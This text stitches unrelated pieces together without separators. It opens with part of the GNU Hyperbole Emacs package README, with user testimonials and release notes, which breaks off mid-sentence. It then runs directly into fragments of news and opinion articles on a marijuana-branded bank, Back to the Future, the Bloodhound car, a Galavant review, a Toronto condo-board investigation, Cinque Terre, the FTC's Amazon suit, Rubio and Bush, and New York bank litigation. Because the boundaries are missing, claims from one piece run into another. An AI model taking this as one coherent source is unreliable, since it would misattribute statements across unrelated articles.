Hyperbole's multi-level autonumbered hypertextual outliner. To try out HyControl, Hyperbole's interactive frame and window control system, use {C-h h s w} for window control or {C-h h s f} for frame control. {t} switches between window and frame control once in one of them. The above are the best interactive ways to learn about Hyperbole. The Hyperbole Manual is a reference manual, not a simple introduction. It is included in the "man/" subdirectory of the Hyperbole package directory in four forms: "man/hyperbole.info" - online Info browser version "man/hyperbole.html" - web HTML version "man/hyperbole.pdf" - printable version "man/hyperbole.texi" - source form The Hyperbole package installation places the Info version of this manual where needed and adds an entry for Hyperbole into the Info directory under the Emacs category. {C-h h d i} will let you browse the manual. For web browsing, point your browser at "${hyperb:dir}/man/hyperbole.html", wherever the Hyperbole package directory is on your system; often this is: "~/.emacs.d/elpa/hyperbole-${hyperb:version}/". =========================================================================== * User Quotes =========================================================================== *** MAN I love Hyperbole!!! Wow! *** -- Ken Olstad Cheyenne Software, Inc. ------- I *love* koutlines. -- Bob Glickstein Z-Code Software Corporation ------- For me, Emacs isn't Emacs without Hyperbole. I have depended on Hyperbole daily since 1992, when I first started using it to manage my development environment. It didn't take long before I could summon almost any information I needed directly from within my editing environment with an implicit button. Since I almost never have to slow down to look for things--one context-dependent button usually produces exactly what I need --I am able to maintain focus on the task I am working on and complete it more quickly. With its gestural interface, seamless integration with other Emacs packages and incredibly useful set of core features. I think that Hyperbole is one of the best designed and most easily extensible software products I have ever come across. It is certainly the one which has made the biggest improvement in my personal productivity. -- Chris Nuzum Co-founder, Traction Software, Inc. ------- I've found Hyperbole (in conjunction with XEmacs) to be very useful for signal processing algorithm development. For me, it has almost completely obsoleted the engineering notebook: I keep a set of files with ideas, algorithms, and results, linked together and to the implementation in C++ files. Using XEmacs' support for embedding graphics, I've written a mode that accepts image tags (formatted like HTML), and reads in GIF files to display plots. I have another program that converts the file to HTML (not perfect, but adequate), so I can put any aspect of development on our internal web for others to see. -- Farzin Guilak Protocol Systems, Inc., Engineer ------- I am blind and have been using Hyperbole since 1992. I used to use a PC as a talking terminal attached to a UNIX system, but then I developed Emacspeak which lets me use Emacs and Hyperbole from standard UNIX workstations with an attached voice synthesizer. My main uses are: 1) Global and implicit buttons for jumping to ftp sites. 2) The contact manager with Emacspeak support. 3) Explicit buttons as part of comments made about a structured document. Each button jumps to the document section referred to by the comment. This is very, very useful. 4) The Hyperbole Koutliner, which I find a very useful tool. I've implemented Emacspeak extensions to support it. -- TV Raman Google Inc. ------- I've been a grateful Hyperbole user for a few years now. Hyperbole's flexibility and ease of use is a marvel. Mainly, I write easy little implicit button types (and corresponding action types) to make my life easier. For example, I have an implicit button type to bury certain buffers when I click at their bottoms, one that recognizes a bug report record in various contexts and edits it, one that links pieces of test output in a log file to the corresponding test case source code (EXTREMELY helpful in interpreting test output), others that support our homegrown test framework, one that handles tree dired mode the way I'd like, one that completely handles wico menus (I've also overloaded the wconfig actions triggered by diagonal mouse drags with wicos actions), and a couple that support interaction with BBDB. Other than that, I keep a global button file with 30 or so explicit buttons that do various little things, and I index saved mail messages by putting explicit link-to-mail buttons in an outline file. -- Ken Olstad Cheyenne Software, Inc. ------- In general, Hyperbole is an embeddable, highly extensible hypertext tool. As such, I find it very useful. As it stands now, Hyperbole is particularly helpful for organizing ill-structured or loosely coupled information, in part because there are few tools geared for this purpose. Hyperbole also possesses a lot of potential in supporting a wider spectrum of structuredness, ranging from unstructured to highly structured environments, as well as structural changes over time. Major Uses: * Menu interface to our own collaborative support environment called CoReView: This interface brings together all top-level user commands into a single partitioned screen, and allows the end user to interact with the system using simple mouse-clicking instead of the meta-x key. * Gateway to internet resources: this includes links to major Internet archive sites of various types of information. Links are made at both directory and file levels. * Alternative directory organizer: The hierarchical nature of the Unix file system sometimes makes it difficult to find things quickly and easily using directory navigational tools such as dired. Hyperbole enables me to create various "profile" views of my directory tree, with entries in these views referring to files anywhere in the hierarchy. * Organizing and viewing online documentation: using Hyperbole along with Hyper-man and Info makes it truly easy to look up online documentation. * Other desktop organization tasks: including links to various mail folders, saved newsgroup conversation threads, online note-taker, emacs-command invocations, etc. -- Dadong Wan University of Hawaii ------- Hyperbole is the first hyper-link system I've run across that is actually part of the environment I use regularly, namely Emacs. The complete flexibility of the links is both impressive and expected -- the idea of making the link itself programmable is clever, and given that one assumes the full power of Emacs. Being able to send email with buttons in it is a very powerful capability. Using ange-ftp mode, one can make file references "across the world" as easily as normal file references. -- Mark Eichin Cygnus Support ------- I just wanted to say how much I enjoy using the Hyperbole Koutliner. It is a great way to quickly construct very readable technical documents that I can pass around to others. Thanks for the great work. -- Jeff Fried Informix ------- The Hyperbole system provides a nice interface to exploring corners of Unix that I didn't know existed before. -- Craig Smith =========================================================================== * What's New in GNU Hyperbole =========================================================================== NOTE: Version 6.0.1 is the first public release by the author, Bob Weiner, since version 4.18. All version 5 releases made this year were test releases, so you should look through all of the V5 news items to understand all that is new in V6 as well. In other words, all news items listed below are new for 2016. =========================================================================== * V6.0.0 - V6.0.1 =========================================================================== HYROLO - The Hyperbole contact manager has been renamed to HyRolo and all of its identifiers now begin with hyrolo-. If you had a custom value of `rolo-file-list' in your ~/.emacs file, you should rename it to `hyrolo-file-list'. KEYS - Removed the {RET} key bindings of the Action Key in read-only modes since it was not consistent across all modes and probably was little used. It also could interfere with mode-specific usage of this key. Just use the standard Action Key bindings. MAIL - Implicit mail address buttons are recognized in many more programming modes. See the value of `mail-address-mode-list'. VARIABLES - Hyperbole is now integrated with the Emacs option customization system, allowing for interactive editing and permanent setting of many Hyperbole options. Use {M-x customize-browse RET} and find the Hyperbole group under Applications. Hyperbole's options are divided into logical subgroups such as Rolo and Koutliner. See "(emacs)Easy Customization" for details on the customization system and "(hyperbole)Configuration" for Hyperbole specifics. - Renamed any Hyperbole hook variables that had a colon in their names to use a hyphen instead. - hsite.el is now included in the Hyperbole package rather than generated. Use the Hyperbole customization variables to change anything in there rather than editing the file manually as before. WINDOW CONFIGURATIONS - Similarly, the commands from the Win/ menu from Wconfig have been renamed to begin with hywconfig- and the library is now called hywconfig.el. =========================================================================== * V5.15 =========================================================================== BUTTONS - New Implicit Button Type, debbugs-gnu-mode: When on a GNU Debbugs listing entry in debbugs-gnu-mode, an Action Key press displays the discussion of the selected issue; an Assist Key press pretty prints the status of the issue to a window below the listing window. This augments the debbugs-gnu-query implicit button type from V5.14 which recognizes bug/issue ids and queries in any buffer. - Initial Org Mode Support: The new implicit button type, org-mode, follows Org mode hyperlinks and cycles display views of Org mode outline headings. When on a heading, the Action Key cycles the view of the subtree at point and the Assist Key cycles the view of all headings in the buffer. Suggest other good ideas for Smart Key actions on Org entities and we'll likely implement them. - Links to Info Manual Index Items: You can now drag between windows with the Action Mouse Key depressed to an Info Manual index menu entry to create an explicit button link to it (or use {C-h h e c} with an action type of link-to-Info-index-item). Then the button will always take you to the line in the manual referenced by that index item. This also works with other Info menu items and cross-references. Implicit buttons that reference index items work too, like "(hyperbole)C-c C-m"! And when you are creating the link, full completion of the file name (within parentheses) and the index item name is provided; just type? to list completions after typing a few characters. Since Emacs and most GNU programs include Info manuals, you now have a simple way to link to and jump to any marked item within any manual. Previously, when creating a link to an Info manual node, Hyperbole would ignore cross-references and menu items and just link directly to the node rather than anything it referenced. To get that behavior now, simply link to a place in the node that does not reference another place. - Link Button Creation: Hyperbole now shows you what you linked to at global or explicit link button creation time. Previously, it showed you only the type of the link. So if you drag across |
which is why he has such a vested interest in dispensaries' relationships with banks. The site- what Hartfield calls the first social media website for medical marijuana patients, bought an ISO (independent sales organization) to provide credit card swiping machines at the dispensaries.
But Visa and Mastercard are fickle about their policy on medical marijuana and some transactions were allowed while others were arbitrarily rejected.
One way out, according to Hartfield: buy the bank.
"A marijuana branded bank is just what the doctor ordered. If we provided a bank, I think the market could be expanding at a much higher growth rate."July 3rd marks the 30th Anniversary of the release of Back To The Future. There have long been rumors of a fourth sequel or a remake, but according to director Robert Zemeckis, fans would have a better chance of installing a flux capacitor into a Prius and traveling back in time to the see the original with an unspoiled audience than seeing a reboot any time soon.
“That can’t happen until both Bob[Gale] and I are dead. And then I’m sure they’ll do it, unless there’s a way our estates can stop it,” Zemeckis tells The Telegraph. (Zemeckis and Gale wrote the original film; Zemeckis, of course, went on to direct, with Gale producing.) “I mean, to me, that’s outrageous. Especially since it’s a good movie. It’s like saying ‘Let’s remake Citizen Kane. Who are we going to get to play Kane?’ What folly, what insanity is that? Why would anyone do that?,” he adds.
Advertisement
Luckily for Hill Valley purists, Zemeckis and Gale—who came from Spielberg’s Amblin camp—were savvy (maybe not as savvy as George Lucas) with their contracts, which, according to the Telegraph, “accord the two men final say on the production of any Back To The Future-related films for as long as they live.” Presumably, Michael Bay and Jerry Bruckheimer are currently doing mounds and mounds of coke off of a solid gold DeLorean concocting a plan to go back to 1984 and prevent that contract from ever being signed.
Gale has also stated that there will be no Back To The Future Part IV without Michael J. Fox—who has cut back on his acting due to his battle with Parkinson’s—so money-hungry producers looking for name recognition can make like a tree and get out of here. That’s the kind of quality control that Hollywood needs more of.Image copyright Other Image caption Bloodhound model: How the car will look
Construction work formally begins this week on what is expected to be the world's fastest car.
Called Bloodhound, the vehicle has been designed to reach 1,000mph (1,600km/h).
The British car will attempt to set the mark as it breaks the land speed record on a dried out lake bed in South Africa's Northern Cape late next year.
Bloodhound has been in design for the past three years. It will be powered by a Eurofighter-Typhoon jet engine bolted above a hybrid rocket.
The power unit combination should deliver a thrust in the order of 200 kilonewtons (47,000lb). This is not dissimilar to the thrust delivered by one of Concorde's famous Olympus 593 jet engines, except Bloodhound will weigh only about six tonnes.
"It's a fantastic feeling to be handing over the drawings to the people who will now build the car," said chief engineer Mark Chapman. "It's a 'progressive definition release' which means as soon as we finish a design, it goes out the door. The first metal parts should start coming back to our design house in Bristol by Easter," he told BBC News.
The steel-lattice rear chassis will be prepared by aerospace specialists Hampson Industries. They were officially passed the design drawings just a few days ago so that they could start work this week.
Bloodhound's front section will be prepared by Advanced Composites Group, renowned for their work on America's Cup yachts and other hi-tech vehicles that use carbon and glass fibre materials.
ACG will also construct the master models and tooling from which critical elements of the car's bodywork and structural components, such as the monocoque and nose, will be produced.
Bloodhound's Falcon rocket will be the biggest hybrid (solid fuel propellant, liquid oxidiser) booster ever produced in the UK. Such is its scale, it will need a Formula One engine supplied by the legendary Cosworth group just to pump the oxidiser through the motor.
Media playback is unsupported on your device Media caption Wing Commander Andy Green gives a tour of the Bloodhound SSC model
The car's 900mm-diameter wheels will be made from an aluminium alloy. They will have to withstand rotation in excess of 10,000 rpm while at the same time being blasted by grit thrown up by Bloodhound as it sweeps across the lake bed floor. The discs will be made from a grade chosen by Lockheed Martin following simulations that involved firing stone particles at metal plates using a high-powered gas gun.
"If necessary we'll design a fancy mud guard for down the front of the wheels just to protect them," said Mr Chapman. "That's one thing we're still looking at. We're also having one last look at the design of the rear fin before locking out the top of the car."
If it achieves 1,000mph, Bloodhound will surpass the World Land Speed Record set by the Thrust SuperSonic Car in 1997 (763mph; 1,228km/h).
Three people who worked on Thrust are also engaged in the Bloodhound project.
They are driver Wing Cdr Andy Green, project director Richard Noble and chief aerodynamicist Ron Ayers.
The trio envisaged Bloodhound not just as another record bid but as a project that could inspire children to engage in STEM (Science, Technology, Engineering and Maths) subjects. Some 4,000 British schools are now involved in the Bloodhound Education Programme. Many more around the globe have access to online teaching resources via IT partner Intel Corporation's "Skoool" initiative.
Bloodhound is expected to be ready to begin "low speed" trials on a UK runway in the first half of next year before being shipped to Hakskeen Pan in the Northern Cape for high speed runs in late 2012 or 2013.
A private, not-for-profit venture, Bloodhound has received considerable in kind support from the British Ministry of Defence in the form of the loan of two Typhoon engines.
Image copyright Other
Jonathan.Amos-INTERNET@bbc.co.ukTV Reviews All of our TV reviews in one convenient place.
Ever since its first episode, Galavant’s not-so-secret weapon has been Timothy Omundson’s King Richard, an infantile ruler whose tyranny often amounted to one long temper tantrum, even as he ruthlessly sentenced his subjects to death. Creator Dan Fogelman could have kept Richard confined to this archetype of the cruel yet impotent monarch, and the the character would have still been entertaining—it’s not like anyone gets sick of watching Prince John be a prickish dandy in Disney’s animated Robin Hood.
Advertisement
But Fogelman and his writing team flipped the script at the end of last season, first humbling Richard by taking everything—his queen, his kingdom, his brutish manservant—away from him, then building him back up into a character that’s likable for reasons that go beyond foppish comedy. At this point, Richard’s a bona fide hero—a doltish hero that annoys the hell out of Galavant, but a hero nonetheless. His metamorphosis now moves at the speed of a Brundlefly, pushing him to appeal to a village’s democracy (not their fear) in hopes of recruiting an army to take back his kingdom, then question if he might legitimately be in love with the only person who joins up: his childhood friend Roberta (Clare Foster).
Lest he become the straight man, Richard remains klutzy even as he tries to do good, including a date with Roberta when he sets his own beard aflame. The gag of a romantic fool accidentally lighting himself on fire while talking to a woman is a tired one, having been used by ABC as recently as one month ago on The Muppets, but Omundson sells it by actually downplaying it. As he leaves the table to extinguish himself, he daintily pinches his burning facial hair, trying to maintain a sense of decorum even as his follicles singe away.
The point is that Fogelman knows how to heap significant changes onto his characters while still retaining the comedic traits that make them entertaining in the first place. But where last season mostly applied this principle to Richard, tonight’s two episodes start to do the same with Isabella and Madalena. The former—still imprisoned in an oversized dollhouse—drifts increasingly farther from her romantic feelings for Galavant after being put under the spell of Chester Wormwood (Robert Lindsay), a wedding planner intent on using her marriage with Prince Harry as a means to gain power. As with Richard, the show gets a lot of comedic mileage out of shrouding his rather lame gestures in doom—the funniest moment of “Aw, Hell, The King” arrives early on, when, after Wormwood promises to look out for Isabella’s best interests, the camera pans behind his back to reveal that his fingers are crossed. Ominous music swells, and another scene-stealing Galavant villain is born.
Advertisement
Granted, Isabella isn’t aware of any of this, and her falling out of love with Gal comes from being manipulated by an enchanted tiara, not her actual feelings. But given the increasing romantic distance from him—manipulated or not—plus the second thoughts they both had last week about their one and only kiss, I wouldn’t be surprised if the couple doesn’t get the happy ending they were once set up for.
Madalena has much more agency in her transformation, which takes effect after her own cruelty seemingly turns on her in the form of the amusingly titled Basikobitczes, a group of dragon ladies far more spiteful than her. As it turns out, they actually played a large part in fostering the more unsavory parts of her personality. As a child, she always wanted to be invited to their exclusive gatherings, but found herself ridiculed by them for being poor. As is the case with many kids who are bullied, Madalena turned her hurt feelings into idolization, mimicking the Basikobitczes in hopes that she would one day achieve their status and be invited to one of their dinner parties.
That day finally arrives, and upon entering the dining hall, she discovers that it’s not deer or hog they’re roasting, but her. After the other women torment Madalena with insults, they go as far as to bring back a mean-spirited prank from her childhood, pretending to offer her a ride back to the castle in their carriage, then inching forward every time she tries to board. What follows is a piano ballad called “Is This A Feeling?” that might be the most tender and melancholy moment on Galavant so far, not just because Madalena’s being vulnerable, but because she’s surprised that she’s even capable of being vulnerable. As all the feels come oozing out of her, she realizes how long she’s been repressing her own insecurities.
Advertisement
At the same time, it wouldn’t make sense for her to make a complete role reversal into some charitable ruler. While Richard was able to change completely, he’s different from Madalena in that he was never aware of how awful he was being. He acted that way because he was spoiled, immature, and didn’t know any better. Madalena, on the other hand, has always relished being a villain, and is we see in “Bewitched, Bothered, And Belittled,” it’s something she’s aspired to ever since she was a little girl. So when Gareth sees her crying and brings her the severed ears of the Basikobitczes (“I got you the exact same earrings those queens had,” he grunts), it’s as happy an ending as a supervillain is likely to get. It’s sick and twisted, and yet, between two people who view the world through a blood-splattered lens, it’s also rather sweet.
With such rapid and effective character development shared among the core cast, it’s slightly irksome that the first installment in each evening of the series continues to feature Gal and Richard encountering a new group of strangers. Last time, we got the shrug-worthy Enchanted Forest (disco number notwithstanding) and this week unveils the peasants who have separated from Richard’s former kingdom. The idea of a village who becomes democratized after being free of their king tickles the brain as a concept, but it’s a bit of a drag watching a community be functional for the better part of 22 minutes, especially when stacked against the madcap tone of a show like Galavant. Even though the storyline gives us Roberta, she could have been woven into the narrative in some other way, and outside of her introduction and Richard’s jaunty “If I Were A Jolly Blacksmith” (I hope to God that’s the song title), there’s nothing particularly memorable in the front half of the episode. With the road back to Richard’s kingdom getting shorter and shorter, maybe there will be less time for detours.
Stray observations
Galavant continues to push the diversity of its musical genres. In addition to the Carole King-isms of “Is This A Feeling?” and the shades of Monty Python found in the blacksmith song, we calypso, more big-band, and even a mariachi number at dinner with Richard and Roberta.
Also, the duet between Chef and Gwynne deserves its own bullet. After realizing being a wealthy servant isn’t all it’s cracked up to be, they reaffirm their love under more impoverished circumstances, making the tune a sister song to the first time they sang together last season. My guess at the title: “This Is As Good As It Gets.”
When Sid pretends to draw the guilt-ridden nightmares from Gareth’s head, it’s reminiscent of the Pensieve in the Harry Potter series.
“I would hit the thing with the other thing until I made a different thing.”
“So what are we roasting? Wild boar? Stag? Heretics?”
“How am I going to sleep in the thing people use to give birth and die in?”Condo owners at a downtown Toronto tower are on the hook for almost $100,000 in increased costs after the board they elected signed an energy contract that appears to benefit a board member's associate.
The contracts, one signed in February and the other in October 2013, paid thousands of dollars in commissions to Toronto company Perfect Clarity Inc. Perfect Clarity acts a broker, pairing up businesses, condos and other large consumers of hydro with fixed-price energy providers.
The sole director of the company is businessman Darryl McGregor.
A CBC Toronto investigation revealed McGregor is one of several men accused of taking aggressive steps to gain control of condo boards that hand out millions of dollars in contracts on behalf of residents.
In a brief phone conversation, McGregor told CBC Toronto these are "complicated issues." He did not answer a series of specific questions sent to him.
CBC Toronto obtained a copy of a contract signed between McGregor's company, The Element condos at 20 Blue Jays Way, and Sunwave Gas and Power. The deal was supposed to provide fixed-rate hydro costs and save condo owners at The Element tens of thousands of dollars. Instead, the documents suggest the deal has cost the owners $94,069 in increased hydro costs.
Ontario law says each condominium must have a elected board of directors that makes decisions on behalf of the owners. Board members must "act honestly, in good faith and exercise due diligence" and "disclose conflicts of interest in writing."
There are "no training requirements" to become a board member.
While Ontario's Condominium Act doesn't forbid board members from signing contracts that benefit friends or family, board members do have fiduciary duties to act in the best interests of the condo owners they represent. Residents at 20 Blue Jays Way examine what they call 'irregular proxy ballots' submitted in a condo board election. This image was provided by a source at The Element who does not wish to be identified. (CBC)
The first of the energy contracts was signed on Oct. 9, 2013 by Kaive Wong, a Toronto real estate broker and, until recently, vice-president of The Element's condo board.
It wasn't until a day later, though, that Wong seemed to seek the approval of his board colleagues for the contract he had already signed. CBC News obtained an email Wong wrote on Oct. 10, 2013 in which he tells his fellow board members that: "I think it is a no-brainer to accept this proposal."
Referring to McGregor, Wong added, "I think it is time the [condo] corporation bring on a real energy consultant instead of haphazardly trying to do it ourselves...I would like to put forward a motion to engage Perfect Clarity on the above noted terms."
In an email sent to CBC News Tuesday, after this story was first published, Wong denied signing the contract prior to the board's approval. "This is simply false," he said.
Wong and McGregor's paths would soon cross again.
In 2015, Wong and McGregor were elected to the condo board at the L Tower on The Esplanade. In December 2016, McGregor and Wong ran as candidates for the board at the Icon condos at 270 Wellington St. West.
Wong declined to be interviewed by CBC Toronto but responded to emails about the contract and his relationship with McGregor. He wrote, "It was clearly communicated and declared to the board I did know Mr. McGregor prior to the signing of the energy contract in 2013. …The fact that Mr McGregor chose to run for the L Tower board in August 2015, where he has ownership (as I do), is a coincidence."
CBC Toronto reached out to Sean Ramnarine, who was the president of the board at The Element from about 2011 until March. He said the energy contract was "a unanimous vote of confidence by all five board directors."
'All electricity prices have gone up in condos … as implemented by the premier.' — Sean Ramnarine, former board president at The Element
He also said a natural gas contract the board signed saved condo owners $20,000, but the hydro contract cost them more because "unfortunately, with the last coal-fire power plant closing, and as we move to cleaner forms of energy, all electricity prices have gone up in condos … as implemented by the premier."
He insisted he and his fellow board members were instrumental in keeping costs and maintenance fees low at the condo.
Ramnarine said he wasn't aware, though, of another energy contract signed by a board member in 2017.
This past February The Element's board entered into the contract with Perfect Clarity again. Weeks earlier a man named Ray Blanchard had been appointed to the board. Blanchard was re-elected to The Element's board in December 2016, in an election fraught with allegations of voting irregularities.
Proxy signed by a dead owner?
In one case, a condo owner who had died years earlier was supposedly able to sign a proxy ballot. Other residents claim their signatures were forged.
Despite not living in the building or owning a condo at 20 Blue Jays Way, Blanchard was elected almost solely through the use of proxies, a process whereby condo owners signed over their vote to someone else. Blanchard submitted more than 90 such proxies.
Some residents demanded an audit of the proxies and ballots but were told many had been destroyed by a flood after the election. Some that were recovered allegedly showed irregularities.
In March, four of the five members of the board at 20 Blue Jays Way resigned or were voted off the board just before angry condo owners held a meeting to oust them.
The residents were told some of their ballots were destroyed by a flood. This image was provided by a source at The Element who does not wish to be identified. (CBC)
Condo board allegedly left unpaid bills
In an email to residents, the current board at 20 Blue Jays Way accuses the past board of leaving "us with very poor records, a stack of unpaid invoices dating back to October 2016 and 58 cheques requiring validation and signatures. As well, we found out [the property management] has not been paid since they came on board in September."
CBC Toronto has reached out to the people who have been accused of this behaviour. Those who have replied have denied involvement in any wrongdoing.
Blanchard also sits on the board of the L Tower with Wong, McGregor, George Laczko and Anastasia Mustafina. Mustafina's online biography says she's a consultant at Perfect Clarity.
Blanchard also sits on the board at the Five Condos on St Joseph Street with McGregor and Laczko. He did not respond to questions from CBC News. Neither did Laczko or Mustafina.
John Lancaster can be reached at 416-205-7538 or john.lancaster@cbc.ca.Description
Corniglia is the only town of those five that does not have an easy access to the ocean. It sits pretty high on top of the hill.
~~~~~
There is a walk down to the ocean. Of course the view is magnificent. The towns of the Cinque Terre were fortress towns always on the lookout for invaders coming from the sea. Sitting this high up of course you can see ships coming. The region is famous for it's white wine and there are some lemon orchards as well.
~~~~~
All towns are surrounded by terraces that are still tended to by hand mostly. They are pretty steep. You can walk all towns of the Cinque Terre by trail that goes along the seaside up atop the hills from town to town. Takes about 4 to 5 hours. You can go by train too.
~~~~~
Many people stay in La Spezia and go by boat up the cost to visit the towns.
All five towns are north of La Spezia.The funny thing about Anita Sarkeesian is I don't think I've ever met a 100% bonafide fan of her work. Even among my social circles, the members of which lean so far left they can be mistaken for Heather Mills in poor lighting conditions, the general response to her videos has been a resounding "eh." I'm pretty lukewarm on her as a critic, too. The earlier videos were a bit milquetoast and restrained (the inherent goofiness of the damsel has been comic fodder for literally decades) while the latter episodes are marred by some very odd readings of certain games. I dig that the idea of the show is to strip these narrative decisions of their narrative context to look at the storytelling skeleton underneath, but occasionally I find myself wondering if we've been playing the same game.
But that doesn't really matter in the long run, because Starship Sarkeesian is fueled by hate. It was the outpouring of seemingly genuine hate that made Sarkeesian and Feminist Frequency newsworthy, and it's the hate that's kept her and the show relevant. It's hate that's sent her all the way to the United Nations and I strongly suspect that hate will be the reason I wake up one day to find out she's become God-Emperor of the Universe and that spice prices are going up by $20 a barrel.
I guess the point is that for all our fear and condemnation of "hate mobs," they're actually not that effective. The bipartisan nature of modern politics means you're really just creating a hero for the opposite side. I would totally elaborate on this, but my deadline was twenty minutes ago.
You can follow Grey and Cory on Twitter or find more of their work via their Facebook PageAmazon.com has billed parents for millions of dollars’ worth of unauthorized in-app purchases made by their children, the FTC said in a complaint filed Thursday in a U.S. court.
The FTC’s lawsuit, filed in U.S. District Court for the Western District of Washington, seeks a court order requiring Amazon.com to refund parents for unauthorized purchases made by their children. The FTC also wants the court to ban the company from billing parents and other account holders for in-app charges without their consent, the agency said in a press release.
Amazon.com keeps 30 percent of all in-app charges, the FTC said in its complaint. The Amazon case “highlights a central tenant” of consumer protection laws in the U.S., that companies should get customer permission before charging them, said Jessica Rich, director of the FTC’s Consumer Protection Bureau, during a press conference about the lawsuit.
Amazon employees raised concerns about in-app purchases by children years before the company changed its procedures, Rich said. Amazon customers seeking refunds found a process “unclear and rife with deterrents,” she said. Amazon’s official policy on in-app purchases said it does not give refunds, she added.
Amazon, in a letter to the FTC July 1, said it was “deeply disappointed” that the agency was moving toward filing a lawsuit. “We have continuously improved our experience since launch, but even at launch, when customers told us their kids had made purchases they didn’t want we refunded those purchases,” wrote Andrew DeVore, Amazon’s associate general counsel.
The FTC’s lawsuit against Amazon.com echoes a complaint brought by the agency against Apple. In January, Apple agreed to pay at least $32.5 million to customers in a settlement with the FTC over children’s in-app purchases.
This week, Politico reported that Apple has complained to the FTC that Google allows the same kinds of in-app purchases in its mobile app store.
The FTC’s recent focus on in-app purchases by children has drawn criticism. This week, Senator Deb Fischer, a Nebraska Republican, questioned the FTC’s actions in a letter to the agency.
“Few, if any, doubt that the app marketplace established in recent years by Amazon and its competitors has fundamentally expanded and improved the American economy,” Fischer wrote. “To pursue enforcement against these companies for specific policies in place at the market’s nascent stage would constitute a de facto tax on innovation that threatens future growth and opportunity.”
In the Amazon case, the FTC noted that the company offers many children’s apps for mobile devices such as the Kindle Fire. The company violated the FTC Act, prohibiting unfair and deceptive business practices, by billing parents and other Amazon account holders for charges incurred by children without adult consent.
Amazon’s app store allowed children playing games to spend “unlimited amounts” of money to pay for virtual items without parental involvement, the FTC alleged.
When Amazon introduced in-app charges to the Amazon app store in November 2011, there were no password requirements of any kind, the FTC alleged. Many kids’ games encouraged children to acquire virtual items in ways that blur the lines between spending virtual currency and real money, the agency said.
In one app, Ice Age Village, children can use virtual coins and acorns to buy items in the game without a real-money charge. However, they can also purchase additional coins and acorns using real money on a screen that is visually similar to the one that has no real-money charge, the FTC said. A one-time purchase in the app could cost as much as $99.99.
As early as December 2011, Amazon employees raised concerns about in-app purchases, the FTC said in its complaint. One internal Amazon communication said that allowing unlimited in-app charges without any password was “clearly causing problems for a large percentage of our customers,” the FTC said.
In March 2012, Amazon updated its in-app charge system to require an account owner to enter a password for individual in-app charges over $20. But Amazon continued to allow children to make an unlimited number of individual purchases of less than $20 without a parent’s approval, the FTC said.
An Amazon employee noted at the time of the change that “it’s much easier to get upset about Amazon letting your child purchase a $99 product without any password protection than a $20 product,” according to the complaint.
Then in early 2013, Amazon updated its in-app charge process to require password entry for some charges, but the process worked in different ways in different contexts, the FTC alleged. Even when a parent was prompted for a password to authorize a single in-app charge made by a child, that single authorization often opened an undisclosed window of 15 minutes to an hour allowing the child to make unlimited charges, the agency said.
Amazon changed its in-app purchase policy again in June, “roughly two and a half years after the problem first surfaced,” the FTC said in a press release.
Updated at 11:50 a.m. PT with comments from the FTC, Amazon, and a U.S. Senator.Marco Rubio, R-Coral Gables, center, the new speaker of the Florida House, greets Florida Gov. Jeb Bush, on his way to being sworn in, Tuesday, Nov. 21, 2006, in Tallahassee, Fla. (AP Photo/Steve Cannon)
In the long lead-up to the 2016 presidential campaign, I repeatedly wrote in this space, said on TV and tweeted that Marco Rubio and Jeb Bush wouldn't both run for the nation's highest office. That conclusion was based on the idea, explained to me by many Republicans seemingly in the know, that the duo were too close personally to ever go against one another in any sort of election.
That conclusion, as you undoubtedly know by now, was wrong. Rubio formally announced his candidacy on Monday and Bush, while not officially in the race, is absolutely 100 percent running.
When I screw something up, I like to try and figure out why. It's a service (I hope) to readers and, selfishly, it helps me try not to make the same mistake again. So, I reached out to virtually every Republican consultant I knew with Florida ties in search of answers to two questions: 1) Was the idea that Rubio and Bush wouldn't run against one another ever right and 2) If it was, what changed?
"Hell if I know," said Ana Navarro, a Bush supporter and Florida Republican strategist. "There's no point to psychoanalyzing what could have been, should have been, may have been. We're at the bridge now and have to get to the other side."
I ran into that sense of uncertainty about what (if anything) was at the heart of the mistaken impression about the closeness of the Bush-Rubio relationship. "This one is a hard one, honestly," said one Republican operative who works extensively in the state. "No one knows the solid truth of it other than the governor and Marco."
One Rubio ally, however, had a clear view on what happened. The closeness of Bush and Rubio was "typically overstated by the press," said the source, adding: "Marco got elected to the legislature on his own. In the Senate race against [Charlie] Crist, Jeb was not particularly impactful, despite reports to the contrary. Jeb’s help came late in the process, after Marco had already taken off; and that was done more out of hatred for Crist than anything else. Marco respects and likes Jeb, but he has never seen himself as indebted to him."
That quote is telling because it speaks to the fact that the debate over whether the idea that the two men would run against one another was ever accurate has transformed into a broader conversation of who owes who what.
For Rubio, disputing the idea that he had ever planned to defer to his political mentor (or even the idea that Jeb is/was a political mentor) is absolutely essential to his being taken seriously as a candidate. That's especially true because Rubio, at 43, is the youngest candidate in the field. (Jeb is 62 years old.)
For Jeb, the way to win the "too close to run" conversation is to cast Rubio's candidacy as a sort of stepping stone to his political future -- a political future that doesn't include being the Republican presidential nominee in 2016. "Rubio clearly hates the Senate and has little to lose (i.e. frontrunner for governor in 2018 if he decided to run)," wrote one Jeb ally in an e-mail to me.
The truth is we don't know the truth. And, to the extent anyone does know whether Jeb and Marco ever talked about not running against one another or even believed that the other wouldn't run if he did is now lost forever amid what we now have: A race with both men in it.
So, what did I do wrong? Make the assumption that because Rubio and Jeb were political allies -- successful establishment Republicans from the same state -- that meant they were close personal friends and, therefore, wouldn't run against each other no matter what.
As a reporter -- or even a source or strategist -- it's hard to know what's political and what's personal when it comes to politicians' relationships. Oftentimes, politicians find it in their best interests to give off the sense (or at least not disrupt the sense) that they are good friends with other politicians. That is, sometimes, true. Often, it's not. Or, it's true until their "friend's" interests runs into their own. Then, friendship -- even if it is genuine -- tends to take a back seat to political ambition.
Then there is the fact that open primary presidential races come along, at best, every four years -- and the allure of a chance to be the most powerful politician in the world is not the sort of thing governed by the same rules as calling "shotgun" to sit in the front seat of a car does. "The stakes are so big for the presidency that it is just an entirely different animal," said one Bush ally.
Regardless of the reasons, I got it wrong. I'll do better next time.New York sues 3 big banks over use of mortgage registry database
Bank of America, Wells Fargo and JPMorgan Chase are accused of undermining New York's foreclosure process by filing false and misleading court actions using the Mortgage Electronic Registry System.
But with the huge number of foreclosures since the housing market's collapse, that system — which New York says is riddled with errors — has made it hard to track property transfers through public records.
The financial institutions first used MERS so they could quickly sell and resell mortgages, much like shares of companies, during the boom years without having to record each transaction at county offices.
The suit alleges that employees of the three institutions — Bank of America Corp., Wells Fargo & Co. and JPMorgan Chase & Co. — filed false and misleading actions in New York and federal courts using the controversial Mortgage Electronic Registry System, undermining the state's foreclosure process and public records system.
